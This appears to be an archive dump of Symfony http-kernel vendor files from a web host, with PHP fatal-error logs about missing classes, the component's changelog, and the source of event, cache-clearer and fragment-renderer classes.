/home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/RequestEvent.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/RequestEvent.php on line 25 [26-Nov-2025 01:31:32 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Event\KernelEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/FinishRequestEvent.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/FinishRequestEvent.php on line 19 [26-Nov-2025 01:31:51 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Event\RequestEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/ViewEvent.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/ViewEvent.php on line 26 [26-Nov-2025 01:34:19 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Event\KernelEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/ResponseEvent.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/ResponseEvent.php on line 27 [26-Nov-2025 01:34:33 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Event\KernelEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/ResponseEvent.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/ResponseEvent.php on line 27 [26-Nov-2025 01:39:06 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Event\KernelEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/TerminateEvent.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/TerminateEvent.php on line 26 [26-Nov-2025 01:53:35 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Contracts\EventDispatcher\Event" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/KernelEvent.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/KernelEvent.php on line 23 [26-Nov-2025 03:32:06 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\Event\KernelEvent" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/ControllerArgumentsEvent.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Event/ControllerArgumentsEvent.php on line 29 http-kernel/Event/RequestEvent.php000064400000002304151113511670013225 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Event; use Symfony\Component\HttpFoundation\Response; /** * Allows to create a response for a request. * * Call setResponse() to set the response that will be returned for the * current request. The propagation of this event is stopped as soon as a * response is set. * * @author Bernhard Schussek */ class RequestEvent extends KernelEvent { private ?Response $response = null; /** * Returns the response object. */ public function getResponse(): ?Response { return $this->response; } /** * Sets a response and stops event propagation. * * @return void */ public function setResponse(Response $response) { $this->response = $response; $this->stopPropagation(); } /** * Returns whether a response was set. */ public function hasResponse(): bool { return null !== $this->response; } } http-kernel/CHANGELOG.md000064400000046367151113511670010633 0ustar00CHANGELOG ========= 6.3 --- * Deprecate parameters `container.dumper.inline_factories` and `container.dumper.inline_class_loader`, use `.container.dumper.inline_factories` and `.container.dumper.inline_class_loader` instead * `FileProfilerStorage` removes profiles automatically after two days * Add `#[WithHttpStatus]` for defining status codes for exceptions * Use an instance of `Psr\Clock\ClockInterface` to generate the current date time in `DateTimeValueResolver` * Add `#[WithLogLevel]` for defining log levels for exceptions * Add `skip_response_headers` to the `HttpCache` options * Introduce targeted value resolvers with `#[ValueResolver]` and `#[AsTargetedValueResolver]` * Add `#[MapRequestPayload]` to map and validate request payload from `Request::getContent()` or `Request::$request->all()` to typed objects * Add `#[MapQueryString]` to map and validate request query string from `Request::$query->all()` to typed objects * Add `#[MapQueryParameter]` to map and validate individual query parameters to controller arguments * Collect data from every event dispatcher 6.2 --- * Add constructor argument `bool $handleAllThrowable` to `HttpKernel` * Add `ControllerEvent::getAttributes()` to handle attributes on controllers * Add `#[Cache]` to describe the default HTTP cache headers on controllers * Add `absolute_uri` option to surrogate fragment renderers * Add `ValueResolverInterface` and deprecate `ArgumentValueResolverInterface` * Add argument `$reflector` to `ArgumentResolverInterface` and `ArgumentMetadataFactoryInterface` * Deprecate calling `ConfigDataCollector::setKernel()`, `RouterListener::setCurrentRequest()` without arguments 6.1 --- * Add `BackedEnumValueResolver` to resolve backed enum cases from request attributes in controller arguments * Add `DateTimeValueResolver` to resolve request attributes into DateTime objects in controller arguments * Deprecate StreamedResponseListener, it's not needed anymore * Add `Profiler::isEnabled()` so collaborating collector services may elect to omit themselves * Add the `UidValueResolver` argument value resolver * Add `AbstractBundle` class for DI configuration/definition on a single file * Update the path of a bundle placed in the `src/` directory to the parent directory when `AbstractBundle` is used 6.0 --- * Remove `ArgumentInterface` * Remove `ArgumentMetadata::getAttribute()`, use `getAttributes()` instead * Remove support for returning a `ContainerBuilder` from `KernelInterface::registerContainerConfiguration()` * Remove `KernelEvent::isMasterRequest()`, use `isMainRequest()` instead * Remove support for `service:action` syntax to reference controllers, use `serviceOrFqcn::method` instead 5.4 --- * Add the ability to enable the profiler using a request query parameter, body parameter or attribute * Deprecate `AbstractTestSessionListener` and `TestSessionListener`, use `AbstractSessionListener` and `SessionListener` instead * Deprecate the `fileLinkFormat` parameter of `DebugHandlersListener` * Add support for configuring log level, and status code by exception class * Allow ignoring "kernel.reset" methods that don't exist with "on_invalid" attribute 5.3 --- * Deprecate `ArgumentInterface` * Add `ArgumentMetadata::getAttributes()` * Deprecate `ArgumentMetadata::getAttribute()`, use `getAttributes()` instead * Mark the class `Symfony\Component\HttpKernel\EventListener\DebugHandlersListener` as internal * Deprecate returning a `ContainerBuilder` from `KernelInterface::registerContainerConfiguration()` * Deprecate `HttpKernelInterface::MASTER_REQUEST` and add `HttpKernelInterface::MAIN_REQUEST` as replacement * Deprecate `KernelEvent::isMasterRequest()` and add `isMainRequest()` as replacement * Add `#[AsController]` attribute for declaring standalone controllers on PHP 8 * Add `FragmentUriGeneratorInterface` and `FragmentUriGenerator` to generate the URI of a fragment 5.2.0 ----- * added session usage * made the public `http_cache` service handle requests when available * allowed enabling trusted hosts and proxies using new `kernel.trusted_hosts`, `kernel.trusted_proxies` and `kernel.trusted_headers` parameters * content of request parameter `_password` is now also hidden in the request profiler raw content section * Allowed adding attributes on controller arguments that will be passed to argument resolvers. * kernels implementing the `ExtensionInterface` will now be auto-registered to the container * added parameter `kernel.runtime_environment`, defined as `%env(default:kernel.environment:APP_RUNTIME_ENV)%` * do not set a default `Accept` HTTP header when using `HttpKernelBrowser` 5.1.0 ----- * allowed to use a specific logger channel for deprecations * made `WarmableInterface::warmUp()` return a list of classes or files to preload on PHP 7.4+; not returning an array is deprecated * made kernels implementing `WarmableInterface` be part of the cache warmup stage * deprecated support for `service:action` syntax to reference controllers, use `serviceOrFqcn::method` instead * allowed using public aliases to reference controllers * added session usage reporting when the `_stateless` attribute of the request is set to `true` * added `AbstractSessionListener::onSessionUsage()` to report when the session is used while a request is stateless 5.0.0 ----- * removed support for getting the container from a non-booted kernel * removed the first and second constructor argument of `ConfigDataCollector` * removed `ConfigDataCollector::getApplicationName()` * removed `ConfigDataCollector::getApplicationVersion()` * removed support for `Symfony\Component\Templating\EngineInterface` in `HIncludeFragmentRenderer`, use a `Twig\Environment` only * removed `TranslatorListener` in favor of `LocaleAwareListener` * removed `getRootDir()` and `getName()` from `Kernel` and `KernelInterface` * removed `FilterControllerArgumentsEvent`, use `ControllerArgumentsEvent` instead * removed `FilterControllerEvent`, use `ControllerEvent` instead * removed `FilterResponseEvent`, use `ResponseEvent` instead * removed `GetResponseEvent`, use `RequestEvent` instead * removed `GetResponseForControllerResultEvent`, use `ViewEvent` instead * removed `GetResponseForExceptionEvent`, use `ExceptionEvent` instead * removed `PostResponseEvent`, use `TerminateEvent` instead * removed `SaveSessionListener` in favor of `AbstractSessionListener` * removed `Client`, use `HttpKernelBrowser` instead * added method `getProjectDir()` to `KernelInterface` * removed methods `serialize` and `unserialize` from `DataCollector`, store the serialized state in the data property instead * made `ProfilerStorageInterface` internal * removed the second and third argument of `KernelInterface::locateResource` * removed the second and third argument of `FileLocator::__construct` * removed loading resources from `%kernel.root_dir%/Resources` and `%kernel.root_dir%` as fallback directories. * removed class `ExceptionListener`, use `ErrorListener` instead 4.4.0 ----- * The `DebugHandlersListener` class has been marked as `final` * Added new Bundle directory convention consistent with standard skeletons * Deprecated the second and third argument of `KernelInterface::locateResource` * Deprecated the second and third argument of `FileLocator::__construct` * Deprecated loading resources from `%kernel.root_dir%/Resources` and `%kernel.root_dir%` as fallback directories. Resources like service definitions are usually loaded relative to the current directory or with a glob pattern. The fallback directories have never been advocated so you likely do not use those in any app based on the SF Standard or Flex edition. * Marked all dispatched event classes as `@final` * Added `ErrorController` to enable the preview and error rendering mechanism * Getting the container from a non-booted kernel is deprecated. * Marked the `AjaxDataCollector`, `ConfigDataCollector`, `EventDataCollector`, `ExceptionDataCollector`, `LoggerDataCollector`, `MemoryDataCollector`, `RequestDataCollector` and `TimeDataCollector` classes as `@final`. * Marked the `RouterDataCollector::collect()` method as `@final`. * The `DataCollectorInterface::collect()` and `Profiler::collect()` methods third parameter signature will be `\Throwable $exception = null` instead of `\Exception $exception = null` in Symfony 5.0. * Deprecated methods `ExceptionEvent::get/setException()`, use `get/setThrowable()` instead * Deprecated class `ExceptionListener`, use `ErrorListener` instead 4.3.0 ----- * renamed `Client` to `HttpKernelBrowser` * `KernelInterface` doesn't extend `Serializable` anymore * deprecated the `Kernel::serialize()` and `unserialize()` methods * increased the priority of `Symfony\Component\HttpKernel\EventListener\AddRequestFormatsListener` * made `Symfony\Component\HttpKernel\EventListener\LocaleListener` set the default locale early * deprecated `TranslatorListener` in favor of `LocaleAwareListener` * added the registration of all `LocaleAwareInterface` implementations into the `LocaleAwareListener` * made `FileLinkFormatter` final and not implement `Serializable` anymore * the base `DataCollector` doesn't implement `Serializable` anymore, you should store all the serialized state in the data property instead * `DumpDataCollector` has been marked as `final` * added an event listener to prevent search engines from indexing applications in debug mode. * renamed `FilterControllerArgumentsEvent` to `ControllerArgumentsEvent` * renamed `FilterControllerEvent` to `ControllerEvent` * renamed `FilterResponseEvent` to `ResponseEvent` * renamed `GetResponseEvent` to `RequestEvent` * renamed `GetResponseForControllerResultEvent` to `ViewEvent` * renamed `GetResponseForExceptionEvent` to `ExceptionEvent` * renamed `PostResponseEvent` to `TerminateEvent` * added `HttpClientKernel` for handling requests with an `HttpClientInterface` instance * added `trace_header` and `trace_level` configuration options to `HttpCache` 4.2.0 ----- * deprecated `KernelInterface::getRootDir()` and the `kernel.root_dir` parameter * deprecated `KernelInterface::getName()` and the `kernel.name` parameter * deprecated the first and second constructor argument of `ConfigDataCollector` * deprecated `ConfigDataCollector::getApplicationName()` * deprecated `ConfigDataCollector::getApplicationVersion()` 4.1.0 ----- * added orphaned events support to `EventDataCollector` * `ExceptionListener` now logs exceptions at priority `0` (previously logged at `-128`) * Added support for using `service::method` to reference controllers, making it consistent with other cases. It is recommended over the `service:action` syntax with a single colon, which will be deprecated in the future. * Added the ability to profile individual argument value resolvers via the `Symfony\Component\HttpKernel\Controller\ArgumentResolver\TraceableValueResolver` 4.0.0 ----- * removed the `DataCollector::varToString()` method, use `DataCollector::cloneVar()` instead * using the `DataCollector::cloneVar()` method requires the VarDumper component * removed the `ValueExporter` class * removed `ControllerResolverInterface::getArguments()` * removed `TraceableControllerResolver::getArguments()` * removed `ControllerResolver::getArguments()` and the ability to resolve arguments * removed the `argument_resolver` service dependency from the `debug.controller_resolver` * removed `LazyLoadingFragmentHandler::addRendererService()` * removed `Psr6CacheClearer::addPool()` * removed `Extension::addClassesToCompile()` and `Extension::getClassesToCompile()` * removed `Kernel::loadClassCache()`, `Kernel::doLoadClassCache()`, `Kernel::setClassCache()`, and `Kernel::getEnvParameters()` * support for the `X-Status-Code` when handling exceptions in the `HttpKernel` has been dropped, use the `HttpKernel::allowCustomResponseCode()` method instead * removed convention-based commands registration * removed the `ChainCacheClearer::add()` method * removed the `CacheaWarmerAggregate::add()` and `setWarmers()` methods * made `CacheWarmerAggregate` and `ChainCacheClearer` classes final 3.4.0 ----- * added a minimalist PSR-3 `Logger` class that writes in `stderr` * made kernels implementing `CompilerPassInterface` able to process the container * deprecated bundle inheritance * added `RebootableInterface` and implemented it in `Kernel` * deprecated commands auto registration * deprecated `EnvParametersResource` * added `Symfony\Component\HttpKernel\Client::catchExceptions()` * deprecated the `ChainCacheClearer::add()` method * deprecated the `CacheaWarmerAggregate::add()` and `setWarmers()` methods * made `CacheWarmerAggregate` and `ChainCacheClearer` classes final * added the possibility to reset the profiler to its initial state * deprecated data collectors without a `reset()` method * deprecated implementing `DebugLoggerInterface` without a `clear()` method 3.3.0 ----- * added `kernel.project_dir` and `Kernel::getProjectDir()` * deprecated `kernel.root_dir` and `Kernel::getRootDir()` * deprecated `Kernel::getEnvParameters()` * deprecated the special `SYMFONY__` environment variables * added the possibility to change the query string parameter used by `UriSigner` * deprecated `LazyLoadingFragmentHandler::addRendererService()` * deprecated `Extension::addClassesToCompile()` and `Extension::getClassesToCompile()` * deprecated `Psr6CacheClearer::addPool()` 3.2.0 ----- * deprecated `DataCollector::varToString()`, use `cloneVar()` instead * changed surrogate capability name in `AbstractSurrogate::addSurrogateCapability` to 'symfony' * Added `ControllerArgumentValueResolverPass` 3.1.0 ----- * deprecated passing objects as URI attributes to the ESI and SSI renderers * deprecated `ControllerResolver::getArguments()` * added `Symfony\Component\HttpKernel\Controller\ArgumentResolverInterface` * added `Symfony\Component\HttpKernel\Controller\ArgumentResolverInterface` as argument to `HttpKernel` * added `Symfony\Component\HttpKernel\Controller\ArgumentResolver` * added `Symfony\Component\HttpKernel\DataCollector\RequestDataCollector::getMethod()` * added `Symfony\Component\HttpKernel\DataCollector\RequestDataCollector::getRedirect()` * added the `kernel.controller_arguments` event, triggered after controller arguments have been resolved 3.0.0 ----- * removed `Symfony\Component\HttpKernel\Kernel::init()` * removed `Symfony\Component\HttpKernel\Kernel::isClassInActiveBundle()` and `Symfony\Component\HttpKernel\KernelInterface::isClassInActiveBundle()` * removed `Symfony\Component\HttpKernel\Debug\TraceableEventDispatcher::setProfiler()` * removed `Symfony\Component\HttpKernel\EventListener\FragmentListener::getLocalIpAddresses()` * removed `Symfony\Component\HttpKernel\EventListener\LocaleListener::setRequest()` * removed `Symfony\Component\HttpKernel\EventListener\RouterListener::setRequest()` * removed `Symfony\Component\HttpKernel\EventListener\ProfilerListener::onKernelRequest()` * removed `Symfony\Component\HttpKernel\Fragment\FragmentHandler::setRequest()` * removed `Symfony\Component\HttpKernel\HttpCache\Esi::hasSurrogateEsiCapability()` * removed `Symfony\Component\HttpKernel\HttpCache\Esi::addSurrogateEsiCapability()` * removed `Symfony\Component\HttpKernel\HttpCache\Esi::needsEsiParsing()` * removed `Symfony\Component\HttpKernel\HttpCache\HttpCache::getEsi()` * removed `Symfony\Component\HttpKernel\DependencyInjection\ContainerAwareHttpKernel` * removed `Symfony\Component\HttpKernel\DependencyInjection\RegisterListenersPass` * removed `Symfony\Component\HttpKernel\EventListener\ErrorsLoggerListener` * removed `Symfony\Component\HttpKernel\EventListener\EsiListener` * removed `Symfony\Component\HttpKernel\HttpCache\EsiResponseCacheStrategy` * removed `Symfony\Component\HttpKernel\HttpCache\EsiResponseCacheStrategyInterface` * removed `Symfony\Component\HttpKernel\Log\LoggerInterface` * removed `Symfony\Component\HttpKernel\Log\NullLogger` * removed `Symfony\Component\HttpKernel\Profiler::import()` * removed `Symfony\Component\HttpKernel\Profiler::export()` 2.8.0 ----- * deprecated `Profiler::import` and `Profiler::export` 2.7.0 ----- * added the HTTP status code to profiles 2.6.0 ----- * deprecated `Symfony\Component\HttpKernel\EventListener\ErrorsLoggerListener`, use `Symfony\Component\HttpKernel\EventListener\DebugHandlersListener` instead * deprecated unused method `Symfony\Component\HttpKernel\Kernel::isClassInActiveBundle` and `Symfony\Component\HttpKernel\KernelInterface::isClassInActiveBundle` 2.5.0 ----- * deprecated `Symfony\Component\HttpKernel\DependencyInjection\RegisterListenersPass`, use `Symfony\Component\EventDispatcher\DependencyInjection\RegisterListenersPass` instead 2.4.0 ----- * added event listeners for the session * added the KernelEvents::FINISH_REQUEST event 2.3.0 ----- * [BC BREAK] renamed `Symfony\Component\HttpKernel\EventListener\DeprecationLoggerListener` to `Symfony\Component\HttpKernel\EventListener\ErrorsLoggerListener` and changed its constructor * deprecated `Symfony\Component\HttpKernel\Debug\ErrorHandler`, `Symfony\Component\HttpKernel\Debug\ExceptionHandler`, `Symfony\Component\HttpKernel\Exception\FatalErrorException` and `Symfony\Component\HttpKernel\Exception\FlattenException` * deprecated `Symfony\Component\HttpKernel\Kernel::init()` * added the possibility to specify an id an extra attributes to hinclude tags * added the collect of data if a controller is a Closure in the Request collector * pass exceptions from the ExceptionListener to the logger using the logging context to allow for more detailed messages 2.2.0 ----- * [BC BREAK] the path info for sub-request is now always _fragment (or whatever you configured instead of the default) * added Symfony\Component\HttpKernel\EventListener\FragmentListener * added Symfony\Component\HttpKernel\UriSigner * added Symfony\Component\HttpKernel\FragmentRenderer and rendering strategies (in Symfony\Component\HttpKernel\Fragment\FragmentRendererInterface) * added Symfony\Component\HttpKernel\DependencyInjection\ContainerAwareHttpKernel * added ControllerReference to create reference of Controllers (used in the FragmentRenderer class) * [BC BREAK] renamed TimeDataCollector::getTotalTime() to TimeDataCollector::getDuration() * updated the MemoryDataCollector to include the memory used in the kernel.terminate event listeners * moved the Stopwatch classes to a new component * added TraceableControllerResolver * added TraceableEventDispatcher (removed ContainerAwareTraceableEventDispatcher) * added support for WinCache opcode cache in ConfigDataCollector 2.1.0 ----- * [BC BREAK] the charset is now configured via the Kernel::getCharset() method * [BC BREAK] the current locale for the user is not stored anymore in the session * added the HTTP method to the profiler storage * updated all listeners to implement EventSubscriberInterface * added TimeDataCollector * added ContainerAwareTraceableEventDispatcher * moved TraceableEventDispatcherInterface to the EventDispatcher component * added RouterListener, LocaleListener, and StreamedResponseListener * added CacheClearerInterface (and ChainCacheClearer) * added a kernel.terminate event (via TerminableInterface and PostResponseEvent) * added a Stopwatch class * added WarmableInterface * improved extensibility between bundles * added profiler storages for Memcache(d), File-based, MongoDB, Redis * moved Filesystem class to its own component http-kernel/CacheClearer/ChainCacheClearer.php000064400000001475151113511700015261 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\CacheClearer; /** * ChainCacheClearer. * * @author Dustin Dobervich * * @final */ class ChainCacheClearer implements CacheClearerInterface { private iterable $clearers; /** * @param iterable $clearers */ public function __construct(iterable $clearers = []) { $this->clearers = $clearers; } public function clear(string $cacheDir): void { foreach ($this->clearers as $clearer) { $clearer->clear($cacheDir); } } } http-kernel/CacheClearer/CacheClearerInterface.php000064400000001034151113511700016126 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\CacheClearer; /** * CacheClearerInterface. * * @author Dustin Dobervich */ interface CacheClearerInterface { /** * Clears any caches necessary. * * @return void */ public function clear(string $cacheDir); } http-kernel/CacheClearer/Psr6CacheClearer.php000064400000003171151113511700015064 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\CacheClearer; use Psr\Cache\CacheItemPoolInterface; /** * @author Nicolas Grekas */ class Psr6CacheClearer implements CacheClearerInterface { private array $pools = []; /** * @param array $pools */ public function __construct(array $pools = []) { $this->pools = $pools; } public function hasPool(string $name): bool { return isset($this->pools[$name]); } /** * @throws \InvalidArgumentException If the cache pool with the given name does not exist */ public function getPool(string $name): CacheItemPoolInterface { if (!$this->hasPool($name)) { throw new \InvalidArgumentException(sprintf('Cache pool not found: "%s".', $name)); } return $this->pools[$name]; } /** * @throws \InvalidArgumentException If the cache pool with the given name does not exist */ public function clearPool(string $name): bool { if (!isset($this->pools[$name])) { throw new \InvalidArgumentException(sprintf('Cache pool not found: "%s".', $name)); } return $this->pools[$name]->clear(); } /** * @return void */ public function clear(string $cacheDir) { foreach ($this->pools as $pool) { $pool->clear(); } } } http-kernel/CacheClearer/error_log000064400000006711151113511700013217 0ustar00[19-Nov-2025 04:14:56 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\CacheClearer\CacheClearerInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheClearer/ChainCacheClearer.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheClearer/ChainCacheClearer.php on line 21 [19-Nov-2025 04:15:03 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\CacheClearer\CacheClearerInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheClearer/Psr6CacheClearer.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheClearer/Psr6CacheClearer.php on line 19 [19-Nov-2025 11:03:10 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\CacheClearer\CacheClearerInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheClearer/Psr6CacheClearer.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheClearer/Psr6CacheClearer.php on line 19 [19-Nov-2025 11:03:16 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\CacheClearer\CacheClearerInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheClearer/ChainCacheClearer.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheClearer/ChainCacheClearer.php on line 21 [25-Nov-2025 04:31:23 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\CacheClearer\CacheClearerInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheClearer/Psr6CacheClearer.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheClearer/Psr6CacheClearer.php on line 19 [25-Nov-2025 04:31:45 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\CacheClearer\CacheClearerInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheClearer/ChainCacheClearer.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheClearer/ChainCacheClearer.php on line 21 [25-Nov-2025 04:31:47 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\CacheClearer\CacheClearerInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheClearer/ChainCacheClearer.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheClearer/ChainCacheClearer.php on line 21 [25-Nov-2025 23:05:59 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\CacheClearer\CacheClearerInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheClearer/Psr6CacheClearer.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheClearer/Psr6CacheClearer.php on line 19 [26-Nov-2025 01:36:44 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\CacheClearer\CacheClearerInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheClearer/ChainCacheClearer.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/CacheClearer/ChainCacheClearer.php on line 21 http-kernel/Fragment/FragmentRendererInterface.php000064400000001554151113511700016330 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Fragment; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\Controller\ControllerReference; /** * Interface implemented by all rendering strategies. * * @author Fabien Potencier */ interface FragmentRendererInterface { /** * Renders a URI and returns the Response content. */ public function render(string|ControllerReference $uri, Request $request, array $options = []): Response; /** * Gets the name of the strategy. */ public function getName(): string; } http-kernel/Fragment/RoutableFragmentRenderer.php000064400000002750151113511700016204 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Fragment; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpKernel\Controller\ControllerReference; use Symfony\Component\HttpKernel\EventListener\FragmentListener; /** * Adds the possibility to generate a fragment URI for a given Controller. * * @author Fabien Potencier */ abstract class RoutableFragmentRenderer implements FragmentRendererInterface { /** * @internal */ protected $fragmentPath = '/_fragment'; /** * Sets the fragment path that triggers the fragment listener. * * @see FragmentListener * * @return void */ public function setFragmentPath(string $path) { $this->fragmentPath = $path; } /** * Generates a fragment URI for a given controller. * * @param bool $absolute Whether to generate an absolute URL or not * @param bool $strict Whether to allow non-scalar attributes or not */ protected function generateFragmentUri(ControllerReference $reference, Request $request, bool $absolute = false, bool $strict = true): string { return (new FragmentUriGenerator($this->fragmentPath))->generate($reference, $request, $absolute, $strict, false); } } http-kernel/Fragment/InlineFragmentRenderer.php000064400000012131151113511700015637 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Fragment; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\Controller\ControllerReference; use Symfony\Component\HttpKernel\Event\ExceptionEvent; use Symfony\Component\HttpKernel\HttpCache\SubRequestHandler; use Symfony\Component\HttpKernel\HttpKernelInterface; use Symfony\Component\HttpKernel\KernelEvents; use Symfony\Contracts\EventDispatcher\EventDispatcherInterface; /** * Implements the inline rendering strategy where the Request is rendered by the current HTTP kernel. * * @author Fabien Potencier */ class InlineFragmentRenderer extends RoutableFragmentRenderer { private HttpKernelInterface $kernel; private ?EventDispatcherInterface $dispatcher; public function __construct(HttpKernelInterface $kernel, EventDispatcherInterface $dispatcher = null) { $this->kernel = $kernel; $this->dispatcher = $dispatcher; } /** * Additional available options: * * * alt: an alternative URI to render in case of an error */ public function render(string|ControllerReference $uri, Request $request, array $options = []): Response { $reference = null; if ($uri instanceof ControllerReference) { $reference = $uri; // Remove attributes from the generated URI because if not, the Symfony // routing system will use them to populate the Request attributes. We don't // want that as we want to preserve objects (so we manually set Request attributes // below instead) $attributes = $reference->attributes; $reference->attributes = []; // The request format and locale might have been overridden by the user foreach (['_format', '_locale'] as $key) { if (isset($attributes[$key])) { $reference->attributes[$key] = $attributes[$key]; } } $uri = $this->generateFragmentUri($uri, $request, false, false); $reference->attributes = array_merge($attributes, $reference->attributes); } $subRequest = $this->createSubRequest($uri, $request); // override Request attributes as they can be objects (which are not supported by the generated URI) if (null !== $reference) { $subRequest->attributes->add($reference->attributes); } $level = ob_get_level(); try { return SubRequestHandler::handle($this->kernel, $subRequest, HttpKernelInterface::SUB_REQUEST, false); } catch (\Exception $e) { // we dispatch the exception event to trigger the logging // the response that comes back is ignored if (isset($options['ignore_errors']) && $options['ignore_errors'] && $this->dispatcher) { $event = new ExceptionEvent($this->kernel, $request, HttpKernelInterface::SUB_REQUEST, $e); $this->dispatcher->dispatch($event, KernelEvents::EXCEPTION); } // let's clean up the output buffers that were created by the sub-request Response::closeOutputBuffers($level, false); if (isset($options['alt'])) { $alt = $options['alt']; unset($options['alt']); return $this->render($alt, $request, $options); } if (!isset($options['ignore_errors']) || !$options['ignore_errors']) { throw $e; } return new Response(); } } /** * @return Request */ protected function createSubRequest(string $uri, Request $request) { $cookies = $request->cookies->all(); $server = $request->server->all(); unset($server['HTTP_IF_MODIFIED_SINCE']); unset($server['HTTP_IF_NONE_MATCH']); $subRequest = Request::create($uri, 'get', [], $cookies, [], $server); if ($request->headers->has('Surrogate-Capability')) { $subRequest->headers->set('Surrogate-Capability', $request->headers->get('Surrogate-Capability')); } static $setSession; $setSession ??= \Closure::bind(static function ($subRequest, $request) { $subRequest->session = $request->session; }, null, Request::class); $setSession($subRequest, $request); if ($request->get('_format')) { $subRequest->attributes->set('_format', $request->get('_format')); } if ($request->getDefaultLocale() !== $request->getLocale()) { $subRequest->setLocale($request->getLocale()); } if ($request->attributes->has('_stateless')) { $subRequest->attributes->set('_stateless', $request->attributes->get('_stateless')); } return $subRequest; } public function getName(): string { return 'inline'; } } http-kernel/Fragment/EsiFragmentRenderer.php000064400000001026151113511700015142 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Fragment; /** * Implements the ESI rendering strategy. * * @author Fabien Potencier */ class EsiFragmentRenderer extends AbstractSurrogateFragmentRenderer { public function getName(): string { return 'esi'; } } http-kernel/Fragment/HIncludeFragmentRenderer.php000064400000006434151113511700016125 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Fragment; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use 